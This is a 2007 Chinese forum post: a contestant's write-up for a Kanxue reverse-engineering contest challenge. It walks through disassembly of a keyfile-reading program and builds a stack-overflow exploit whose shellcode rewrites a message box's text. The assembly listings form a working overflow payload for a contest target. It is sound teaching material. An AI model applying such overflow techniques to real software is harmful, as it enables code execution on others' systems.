首页
社区
课程
招聘
[原创]第二阶段◇第一题 (修正,第2次提交)
发表于: 2007-8-29 11:36 6476

[原创]第二阶段◇第一题 (修正,第2次提交)

2007-8-29 11:36
6476
看雪论坛.珠海金山2007逆向分析挑战赛――“金山杯”

第二阶段比赛 第1题

无壳,直接OD载入,可以看到:
00400310  |.  68 6C024000   PUSH    0040026C                     ;  ASCII "test.txt"
00400315  |.  8D4D F0       LEA     ECX, DWORD PTR [EBP-10]
00400318  |.  E8 63010000   CALL    00400480                     ;  CreateFileA

很明显test.txt就是keyfile,文件大小必须在8到1k之间。

接下来读取文件的内容,对其进行变化
0040037E  |.  E8 FDFEFFFF   CALL    00400280                     ;  这里就是变化的函数

跟进函数,首先放出一块堆栈给溢出数据做准备
004002A2  |.  68 A802CC78   PUSH    78CC02A8
004002A7  |.  68 1B8F9469   PUSH    69948F1B
004002AC  |.  FF76 04       PUSH    DWORD PTR [ESI+4]
004002AF  |.  FF36          PUSH    DWORD PTR [ESI]
004002B1  |.  E8 0A030000   CALL    004005C0                     ;  文件的头8个字节做乘法
004002B6  |.  68 82FFE65B   PUSH    5BE6FF82
004002BB  |.  68 854716A5   PUSH    A5164785
004002C0  |.  52            PUSH    EDX
004002C1  |.  50            PUSH    EAX
004002C2  |.  E8 79020000   CALL    00400540                     ;  结果进行位移计算变化

再对头8个字节进行简单的xor运算。
004002C7  |.  6A 04         PUSH    4
004002C9  |.  8BCE          MOV     ECX, ESI
004002CB  |.  5F            POP     EDI
004002CC  |>  8031 1C       /XOR     BYTE PTR [ECX], 1C
004002CF  |.  8A11          |MOV     DL, BYTE PTR [ECX]
004002D1  |.  3051 01       |XOR     BYTE PTR [ECX+1], DL
004002D4  |.  41            |INC     ECX
004002D5  |.  41            |INC     ECX
004002D6  |.  4F            |DEC     EDI
004002D7  |.^ 75 F3         \JNZ     SHORT 004002CC

运算结果变化一下得到溢出代码的大小。
004002D9  |.  6A 1A         PUSH    1A
004002DB  |.  59            POP     ECX
004002DC  |.  2BC8          SUB     ECX, EAX
004002DE  |.  0FAFC8        IMUL    ECX, EAX
004002E1  |.  81E9 9C000000 SUB     ECX, 9C
004002E7  |.  85C9          TEST    ECX, ECX

最后复制到堆栈检测能否实现功能。
004002EB  |.  8D7D D4       LEA     EDI, DWORD PTR [EBP-2C]
004002EE  |.  F3:A5         REP     MOVS DWORD PTR ES:[EDI], DWORD PTR [ESI]

按照要求和提示,我们只需要修改消息文字即可,函数的调用完全使用已有的代码,即改成下面的模样:
00400385  |> \57            PUSH    EDI                                           ; /Style
00400386  |.  68 68024000   PUSH    00400268                                      ; |Title = "OK!"
0040038B  |.  68 60024000   PUSH    00400260                                      ; |Text = "OK!"
00400390  |.  57            PUSH    EDI                                           ; |hOwner
00400391  |.  FF15 4C024000 CALL    NEAR DWORD PTR [<&USER32.MessageBoxA>]        ; \MessageBoxA
/*
在EBP=12FBC4的前提下构造代码:
JMP        12FB78
DB        00, 00, 00, 00, 00, 00                ;  预留给校验值
MOV     DWORD PTR [400268], 214B4F        ;  "OK!"
MOV     DWORD PTR [400260], 214B4F
MOV     DWORD PTR [400264], 0
MOV        EBP,12FBC4
JMP        400383
DD        12FB70

经过asm以后其大小恰好填充堆栈到溢出点,代码段大小是0D个DD,根据这个结果反推前面一步也是0D,然后计算一个辗转相除的结果等于
7590C53F 8AD397F7
填入文件头,即可得到keyfile了。

经过本机器(xp+sp2)的测试成功
*/

以下是修改过的思路:
由于ebp是和系统相关的,溢出点不能以它为标准,观察堆栈

0012FBA0   00400383  RETURN to ExploitM.00400383 from ExploitM.00400280;溢出点
0012FBA4   00AE0000  ;分配的内存位置
0012FBA8   00000080  ;内存大小

所以可以让溢出点返回4002F5处,让程序再次pop一个dword,这样流程返回到了分配的内存地址处,
而此处的开始代码恰好是合法的,于是构造下面的代码:

00AE0000   /EB 7C           JMP     SHORT 00AE007E                             ; code begin
00AE0002   |CF              IRETD
00AE0003   |45              INC     EBP
00AE0004   |23E6            AND     ESP, ESI
00AE0006   |8CF9            MOV     CX, SEG?                                   ; Undefined segment register
00AE0008   |C705 68024000 4>MOV     DWORD PTR [400268], 214B4F                 ; modify title string
00AE0012   |C705 60024000 4>MOV     DWORD PTR [400260], 214B4F                 ; modify text string
00AE001C   |C705 64024000 0>MOV     DWORD PTR [400264], 0
00AE0026   |8BEC            MOV     EBP, ESP
00AE0028   |83C5 1C         ADD     EBP, 1C                                    ; correct value of EBP
00AE002B   |E8 04000000     CALL    00AE0034                                   ; push esp to modify it
00AE0030   |F5              CMC
00AE0031   |0240 00         ADD     AL, BYTE PTR [EAX]                         ; this is the exploit address
00AE0034   |832C24 30       SUB     DWORD PTR [ESP], 30                        ; correct value of ESP
00AE0038   |83EC 04         SUB     ESP, 4                                     ; correct value of EIP
00AE003B   |C70424 83034000 MOV     DWORD PTR [ESP], 400383                    ; correct ret address
00AE0042   |C3              RET                                                ; back to main route
...
00AE007E  ^\EB 88           JMP     SHORT 00AE0008

这里没有使用到硬编码,都是固定地址和相对计算,在xp+sp2和2003下测试过,2000应该也跑不掉的

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
2
验证通过~~
2007-8-29 17:55
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
3
72.981639298672949437032239139763
2007-9-2 20:25
0
游客
登录 | 注册 方可回帖
返回
//